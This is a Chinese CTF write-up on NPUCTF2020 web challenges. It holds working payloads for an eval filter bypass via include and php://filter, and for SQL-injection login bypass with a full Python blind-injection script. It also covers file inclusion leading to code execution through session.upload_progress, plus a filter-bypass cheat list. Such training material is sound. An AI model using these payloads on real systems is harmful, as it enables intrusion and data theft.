NPUCTF2020是前几年打得比较火的一场CTF,Web方向的题目数量不算多,但质量在入门到进阶的区间里卡得很准。我刷这套题的时候正好在补PHP代码审计和手工注入的基础,一轮下来收获最大的不是某一道题的flag,而是把几个高频绕过点串成了自己的方法论。这篇就当刷题记录写出来,重点不是贴答案,是把每道题的思考路径、卡住的点、以及最后怎么绕过去的逻辑讲清楚。如果你准备刷CTF Web方向,这套题很适合拿来练手。
1. NPUCTF2020 Web题目速览与刷题策略
1.1 那一年的Web题考了些什么
NPUCTF2020的Web题目整体风格偏基础,但少见那种直接送分的情况。翻了一遍题目,大概覆盖了这几个方向:eval代码执行、SQL注入过滤绕过、文件包含与伪协议、命令执行、PHP反序列化、以及一些逻辑漏洞。难度阶梯比较友好,既有十几分钟能出结果的题,也有需要反复试payload卡上一两个小时的题。
从刷题角度来说,这套题最大的价值在于“过滤绕过的花样多”。你会发现很多题并不是没有漏洞,而是漏洞被一层一层的正则过滤给挡住了。比如空格被过滤、关键字被过滤、括号被过滤、注释符被过滤,甚至单双引号也被过滤。这些过滤规则单看都不难突破,但组合在一起就需要你对语言本身有足够的熟悉度。
我当时刷完的感受是:这套题比很多堆奇葩考点的比赛要实用得多,因为它的过滤规则基本都是真实Web应用里会出现的东西。换句话说,刷完这套题,你以后看代码审计题会有明显的手感提升。
1.2 我推荐的刷题顺序
我自己的刷题习惯是:先做有源码能读的题,再做需要手工探测的注入题,最后做依赖知识储备的构造类题目。这套题我也按这个顺序来。
先把eval和文件包含这两道部分源码可以直接看到的题解决,因为这类题目突破口最直观,题解过程能快速带来正反馈。然后做SQL注入,这道题需要手工测试和脚本辅助,适合把状态切到“耐心探测”模式。最后才回头做命令执行、反序列化这类需要更完整知识体系的题目。
这样排序的另一个原因是:刷题效率来自正反馈的密度。如果一上来就死磕反序列化,浪费一整天还不出结果,很容易把刷题的节奏打乱。先把能稳拿的分拿到,心态会稳很多。后面你会发现,做eval和文件包含时积累的伪协议经验,做SQL注入时积累的过滤绕过思路,在做命令执行题时全都用得上。
2. 无括号代码执行:eval题的绕过链
2.1 复现一下题目过滤逻辑
这道题打开以后,给了一个类似代码审计的场景,关键逻辑复现出来大概长这样:
<?php if (isset($_POST['cmd'])) { $code = $_POST['cmd']; if (!preg_match('/;|`|\\|\'|"|\\\\|\*|preg_match|getallheaders|system|passthru|exec|shell_exec|assert|pcntl_exec|eval|\(|\)| /i', $code)) { eval($code); } else { echo 'hacker'; } } ?>过滤规则一眼看过去密密麻麻,分号、反引号、单双引号、反斜杠、星号、常见命令执行函数、括号、空格全部拉黑。这意味着最常见的system("ls")、assert($_POST[1])这类写法全部失效。
2.2 过滤规则逐条拆解
先别急着想绕过,把每条过滤的含义理清楚。
分号和空格被过滤,意味着你不能结束一个语句,也不能在关键字和参数之间加空格。在PHP里,最后一条语句可以省略分号,所以分号的问题还好解决。空格被过滤比较难受,但PHP很多关键字和变量之间不需要空格也能被解析。
括号被过滤,这个才是最关键的。PHP里几乎所有函数调用都需要括号,没有括号你没法调用函数。反引号被过滤,命令执行运算符也不可用。单双引号被过滤,意味着你没法直接构造字符串字面量。
把这些限制放在一起看,常规的RCE路径基本都被堵死了。那还有什么办法?思路要转换一下:既然函数调用被卡死,那就找不需要括号、不需要引号、不需要空格就能执行的东西。
2.3 用include绕过括号和空格
这里有一个很多新手容易忽略的知识点:PHP里有一部分关键字是语言结构,不是函数,调用时不需要括号。典型的有include、require、echo、isset、empty等。
重点是include。它后面可以直接跟一个变量表达式,不需要括号,也不需要空格把两个token分开。也就是说,include$_GET[1]这样连在一起写,PHP解析器也能正确识别。
那payload就很清楚了:
POST /index.php cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php因为过滤规则里没有过滤include,也没有过滤$_GET,整段代码include$_GET[1]完全绕过了所有过滤条件。eval拿到的字符串是include$_GET[1],执行后相当于包含了$_GET[1]指向的文件。
2.4 完整Payload与抓包验证
在Burp里实际操作的时候,POST的数据大概是这样的:
POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php返回的页面里会有一段base64编码的字符串。拿去解码,就能看到flag.php的原始内容:
PD9waHAgJGZsYWcgPSAnZmxhZ3sxMjN9JzsgPz4=解码后是:
<?php $flag = 'flag{123}'; ?>这里解释一下为什么非要套一层convert.base64-encode。直接include flag.php不是不行,问题在于flag.php里的内容是PHP代码,被include之后会被解析执行,而你看到的最多是一张空白页,因为代码只是给变量赋值,并没有echo出来。用base64过滤器之后,文件内容会以base64字符串的形式输出,代码不会被解析,你就能直接看到源码。
2.5 这个绕过思路还能扩展到哪
这道题虽然是个小巧的绕过题,但里面藏的知识点可以外推一大片。如果目标flag不在某个php文件里,而在/flag或/proc/self/environ这种系统文件里,也能用同样的include方式去读。比如:
cmd=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=/flag再往后延伸,如果题目让你真正getshell,不能调用命令执行函数的情况下,常见的思路是利用include去包含一个你控制内容的临时文件或日志文件,然后靠include执行里面的PHP代码。这也正是后面那道文件包含题的核心思路。
注意:这道题在Burp里直接发请求比较稳。放到浏览器地址栏里测的话,
&符号会被浏览器当成参数分隔符或者触发特殊解析,容易被截断,导致$_GET[1]接收不到完整伪协议字符串。
3. 空格与关键字双过滤:SQL注入题的手工与脚本解法
3.1 登录点的过滤规则复现
这道题给了一个登录页面,需要提交用户名和密码。我本地复现出来的核心逻辑大概是这样:
<?php $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from users where username='$username' and password='$password'"; if (preg_match('/ |\t|\r|\n|#|--|or|and|union|select|sleep|benchmark/i', $username . $password)) { die('hacker'); } $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { echo 'login success'; } else { echo 'login failed'; } ?>过滤规则里有几个重点:空格被过滤、换行被过滤、or和and被过滤、union和select被过滤、注释符号#和--被过滤。这套规则看起来好像堵得很死,但对熟悉MySQL的人来说,只是绕路的距离变长了而已。
3.2 用||构造永真登录
先想登录绕过。SQL语句是:
select * from users where username='$username' and password='$password'如果我们把用户名提交成admin'||'1'='1,那么SQL会变成:
select * from users where username='admin'||'1'='1' and password='...'这里有个关键点:MySQL里||默认是逻辑或运算符,不是字符串拼接符(除非数据库开启了PIPES_AS_CONCAT模式)。所以'admin'||'1'='1'这个表达式的结果是1,where条件成立,登录成功。
为什么用||而不用or?因为or在过滤名单里,||不在。这就是典型的“等价格式绕过关键字过滤”思路。
payload可以写成:
username=admin'||'1'='1 password=任意值但是注意,空格被过滤了,所以SQL里分隔关键字和值的空格都没了,MySQL解析会出错。这里需要把空格替换成MySQL能识别的空白字符。
3.3 空格被过滤之后的绕过姿势
MySQL支持的空白字符不只是空格本身,还包括%09(Tab)、%0a(换行)、%0b、%0c、%0d以及/**/注释。既然普通空格被preg_match过滤了,那就用/**/来替代。
登录绕过最终payload:
username=admin'/**/||/**/'1'='1 password=x这里/**/在MySQL里是注释,但注释中间的内容会被当成一个不可见字符来分隔token,所以admin'/**/||/**/'1'='1解析起来等价于admin' || '1'='1。
如果你想要更稳的变体,%0a也是一个选择。但%0a在POST body里有时会被中间件改写,而/**/是纯文本注释,稳定性更高。实测下来,大部分题目的preg_match只过滤了空格本身,没有考虑MySQL的多字符空白符,这就是这道题的关键突破点。
3.4 布尔盲注的脚本化爆破
登录绕过只是第一步,进到后台之后还要拿数据。这道题过滤了union和select,那常规union注入基本没戏。再看回显,登录成功后只返回“login success”,没有数据回显点,所以要走盲注。
布尔盲注的思路是:构造一个条件,当条件成立时登录成功,不成立时登录失败,然后逐字符猜解。由于or被过滤,条件可以用||来组织。
比如判断当前数据库名长度是否大于3:
username=admin'/**/||/**/if(length(database())>3,1,0)||'1'='1 password=x如果返回login success,说明条件为真。if如果被过滤(不同题目过滤不同),可以换成case when语法:
username=admin'/**/||/**/case/**/when/**/length(database())>3/**/then/**/1/**/else/**/0/**/end/**/||'1'='1 password=x一个一个手动试太痛苦,这时候就上脚本。下面这个Python脚本是当时用的二分法逻辑,核心就是循环调用登录接口判断条件真伪:
import requests url = "http://127.0.0.1/sql/index.php" def do(payload): data = { "username": payload, "password": "x" } r = requests.post(url, data=data) return "login success" in r.text def judge(expr): payload = "admin'/**/||/**/if({expr},1,0)||'1'='1".format(expr=expr) return do(payload) def get_length(sql): left, right = 1, 50 while left < right: mid = (left + right) // 2 if judge("length({sql})>{mid}".format(sql=sql, mid=mid)): left = mid + 1 else: right = mid return left def get_char(sql, pos): for c in range(32, 127): if judge("ascii(substr(({sql}),{pos},1))>{c}".format(sql=sql, pos=pos, c=c)): continue else: low = 32 high = c while low < high: mid = (low + high) // 2 if judge("ascii(substr(({sql}),{pos},1))>{mid}".format(sql=sql, pos=pos, mid=mid)): low = mid + 1 else: high = mid return chr(low) return "?" db_len = get_length("database()") print("database length:", db_len) for i in range(1, db_len + 1): print(get_char("database()", i), end="") print()这段脚本的逻辑是:先用二分法得到长度,再逐位用二分法猜字符。每次请求判断的是ascii(...)>mid这个条件是否成立,再缩小范围直到确定字符。盲注写脚本的核心思路就是二分法,比线性遍历快得多。
3.5 这类题复盘时应该记什么
刷完这道题,我建议你至少把下面这些点记进笔记:
- 空格被过滤时,MySQL里可用的替代字符有
%09、%0a、%0b、%0c、%0d、/**/ or和and被过滤时,可以用||和&&替代- 注释符
#和--被过滤时,可以用;%00截断或者利用闭合单引号构造永真式 if被过滤时,可以用case when ... then ... else ... end=被过滤时,可以用like、in、regexp替代
这套“过滤规则 → 等价格式”的映射表,几乎可以套用到所有SQL注入过滤绕过题里。
注意:POST请求里的
#如果没做URL编码,会被浏览器当成锚点处理,导致payload不完整。我刚开始测的时候用admin'#直接拦不到包,后来在Burp里手动把#改成%23才正常。
4. 文件包含题:从伪协议读源码到session包含
4.1 入口与第一波读源码
这道题打开之后只有一个参数入口:?file=xxx。修改参数尝试?file=/etc/passwd,回显了内容,确认是文件包含漏洞。
接下来常规操作,用php://filter读源码:
GET /index.php?file=php://filter/read=convert.base64-encode/resource=index.php返回一段base64,解码之后看到的关键逻辑是:
<?php if (strpos($_GET['file'], 'flag') !== false) { die('no no no'); } include($_GET['file']); ?>也就是说,它ban掉了文件名里带flag的字符串。按套路先试一下?file=flag.php,果然直接被拦了。
4.2 常规伪协议失效后怎么办
目标已经很明确:读取flag文件。直接包含被拦,那就绕。第一个想到的是用data://伪协议执行代码:
?file=data://text/plain,<?php system('cat flag.php');?>但页面报错,说明allow_url_include是Off,data://不可用。再用php://input试,也不行。远程文件包含由于allow_url_fopen/allow_url_include的限制基本走不通。
这时候要转换思路:目标不是“直接读flag”,而是“把flag内容搞出来”。既然不能直接读,那就让服务端帮忙执行命令,或者通过间接文件来带出内容。
4.3 利用session.upload_progress写PHP代码
想起之前在看文件包含题目时常用的一个技巧:session.upload_progress。PHP在文件上传时会记录上传进度到session文件里,而且上传时POST的PHP_SESSION_UPLOAD_PROGRESS字段值会被写进session文件。如果把该字段值设置成PHP代码,那么包含session文件就能执行这些代码。
session文件的默认路径是/tmp/sess_<PHPSESSID>,只要知道PHPSESSID就能预测文件路径。
具体步骤:
- 先发一个GET请求,从响应头里拿
PHPSESSID - POST一个multipart表单,上传一个文件。文件名故意写成
<?php system('cat /flag');?> - POST字段带一个
PHP_SESSION_UPLOAD_PROGRESS,值任意写 - 请求
?file=/tmp/sess_<PHPSESSID>
做这步操作的时候,Burp里的原始包大概是:
POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabc Cookie: PHPSESSID=abcdef123456 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php system('cat /flag');?> ------WebKitFormBoundaryabc Content-Disposition: form-data; name="file"; filename="x.php" Content-Type: text/plain x ------WebKitFormBoundaryabc--这个请求执行后,PHP会在session文件里记录类似这样的内容:
upload_progress_<?php system('cat /flag');?>|...然后请求:
GET /index.php?file=/tmp/sess_abcdef123456服务器会include这个session文件,文件里的<?php ... ?>代码会被解析执行,flag就出来了。
4.4 触发包含并验证
实际操作时可能会遇到几个小问题。一个是我构造的filename="x.php"和name="PHP_SESSION_UPLOAD_PROGRESS"的顺序不能错,PHP会判断第一个上传的文件和进度字段。另一个是session文件的路径不一定在/tmp,有的环境配置了session.save_path到别的地方。如果包含失败,可以通过phpinfo或者内存报错信息来确认路径。
还有一点,system函数在当前环境是否可用、/flag路径是否存在,都会影响结果。如果system被禁用,可以换file_get_contents('/flag')配合echo,或者用print_r(scandir('/'))先看根目录结构。
这道题复盘下来的核心收获是:文件包含漏洞和session机制结合起来,可以形成一条不需要上传webshell文件就能执行代码的利用链。理解了这个原理,以后遇到任何session文件内容可控的题目,都能顺手试一下这条路。
注意:上传的临时文件名和session文件写入时机有关,如果请求结束后临时文件被删掉,session文件里可能还没有写入进度。所以这个payload要在同一个请求里完成上传和进度触发,不能拆成两个请求。
5. 刷题踩坑实录与常用工具链
5.1 最容易翻车的五个细节
刷这套题的过程中,我在一些细节上栽了不少跟头,整理出来算是给大家省时间。
第一个是URL编码问题。测试SQL注入时,把#直接放在URL里会被当成锚点,导致payload丢失。正确做法是使用%23。测试%0a绕过空格时,也要确认中间件有没有对换行符做二次处理。
第二个是伪协议读源码的base64结果里可能包含+和/字符,在URL场景里直接拼接会出问题。我一般用Burp的Decoder或者写Python脚本解码,不要在地址栏里手动处理。
第三个是过滤正则是否忽略大小写。很多题目会用/i修饰符,这意味着UNION、Select这类大小写变体全部无效。刷题之前先确认这一点,能少走很长一段弯路。
第四个是PHP版本差异。同一道题的payload在PHP 5.6和PHP 7.x下的表现可能完全不同,比如$_GET和include的解析规则、伪协议的支持范围、session文件的序列化格式,都会因为版本不同产生差异。本地复现时尽量用和题目一致的版本。
第五个是命令执行时的空格问题。如果一道题过滤了空格但没过滤命令拼接,可以用${IFS}、$IFS$9、<等替代。但不同题目对特殊符号的过滤程度不一样,实测下来${IFS}在大部分Linux环境下可用,<在部分环境的命令解析上没那么稳定。
5.2 我这份刷题流程里常用的工具
| 工具 | 用途 | 我的使用习惯 |
|---|---|---|
| Burp Suite | 抓包、改包、重放、对比响应 | 测SQL注入和文件包含时,基本全程挂着 |
| Python requests | 写自动化爆破脚本 | 盲注、目录爆破、批量测试payload |
| HackBar / 浏览器F12 | 快速修改GET/POST参数 | 单个payload快速验证时比较方便 |
| Yakit | Web Fuzzer、MITM、插件市场 | 轻量,比Burp启动快,测小项目时用 |
| ffuf / 7kbscan | 目录扫描 | 拿字典扫常见路径,发现隐藏文件 |
目录扫描这部分值得多说一句。CTF题目不会像真实网站那样把所有文件都暴露出来,但常见的www.zip、.git、robots.txt、flag.php、admin.php这些路径值得扫一遍。字典不用太大,关键是覆盖CTF的常见命名习惯。
5.3 如何快速复现NPUCTF2020的Web题目环境
复现题目环境其实不难。比如eval和SQL注入这两道题,核心就是一个PHP文件加一个MySQL。用Docker起一个php:7.4-apache容器,把源码挂进去就能快速搭建。
docker run -d --name npuctf-web -p 8080:80 -v /path/to/www:/var/www/html php:7.4-apache需要数据库的话,再起一个MySQL容器,把连接信息填进config.php。别忘了修改PHP配置,把allow_url_include、session.upload_progress.enabled这些选项按需打开。复现环境的目的是验证自己的payload和过滤逻辑,保持环境干净可控很重要。
6. 复盘之后的个人习惯与建议
6.1 建立自己的payload字典
刷完这套题之后,我最大的改变是开始系统整理payload字典。以前都是从网上看到一条记一条,用的时候翻笔记,结果每次都要重新试一遍才知道哪个能用。后来换成按场景分类整理,比如“SQL注入-空格绕过”“SQL注入-关键字绕过”“文件包含-伪协议”“命令执行-无字母数字”,每个分类下面列实际的请求示例和过滤条件。
这套字典到现在还在用。遇到新题时,先看过滤规则,再对应到字典的分类里找候选payload,速度比从零开始构造快很多。
6.2 把一道题吃到什么程度才算完
我现在判断一道题是否刷透,标准是三条:能不能不看答案重新打一遍、能不能给别人讲清楚每个步骤的原因、能不能自己加一条过滤规则再解出来。
前两条好理解,第三条最有用。比如eval题,原题过滤了括号和空格,那你可以自己改一下,加上过滤include,再想想怎么绕过。这种“魔改题目”的练习方式,比连续刷十道同类型题更能逼你理解原理。
6.3 复盘比刷题重要在哪里
最后分享一个我自己的体会。早期刷题时,我经常是解出来一道题就赶紧去下一道,看起来效率很高,但过两周回头看,发现自己连当时用过的伪协议都记不全了。后来改为每道题花十分钟写复盘,不写答案,只写两条:卡在哪里、用了什么核心突破点。
坚持一段时间后,我发现真正有价值的,是那些卡住时的错误路径。因为下次遇到同类题目,你大概率还会先走一遍错误路径,只有把它们记录下来,才能在下一次更快避开。最终的结果是:刷题量变少了,但通过的题目变多了。这套NPUCTF2020的Web题刷完,如果你也能把每道题的“为什么”讲明白,那它的价值就已经超出了几百分本身。